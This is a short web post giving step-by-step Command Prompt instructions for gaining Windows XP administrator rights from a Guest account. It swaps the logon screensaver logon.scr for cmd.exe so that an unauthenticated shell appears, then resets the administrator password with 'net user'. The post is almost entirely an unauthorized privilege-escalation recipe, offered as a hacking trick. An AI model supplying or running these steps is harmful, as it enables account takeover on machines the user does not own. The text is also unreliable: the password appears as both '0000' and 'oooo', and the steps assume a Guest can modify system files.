hack computer admin using command prompt

There is a cool Trick for Hacking Microsoft Windows XP Password. To Hack Password follow these simple steps :
1) Log in to Windows via Guest or any other Account.
2) Go to Command Prompt and Enter :
a) cd\  >>  Enter.
b) cd\windows\system32  >>  Enter.
c) mkdir temphack  >>  Enter.
d) copy logon.scr temphack\logon.scr  >>  Enter.
e) copy cmd.exe temphack\cmd.exe  >>  Enter.
f) del logon.scr  >>  Enter.
g) rename cmd.exe logon.scr  >>  Enter.
h) exit  >>  Enter.
Now here we just Backup is the Command Prompt and the Screen Saver File and then Edited the Settings so when
Windows Loads the Screen Saver, we will get an UnProtected Command Prompt without Logging In. When this
Appears, Enter the Username and Password. Like if the Administrator User Name is Admin and we want the
password 0000 then we would Enter “net user Admin oooo" and now we have changed the Administrator Password
to 0000. Now Log In and Enjoy the Administrator Rights.
So this is a simple cool Trick to Hack a Windows XP Administrator Password using Command Prompt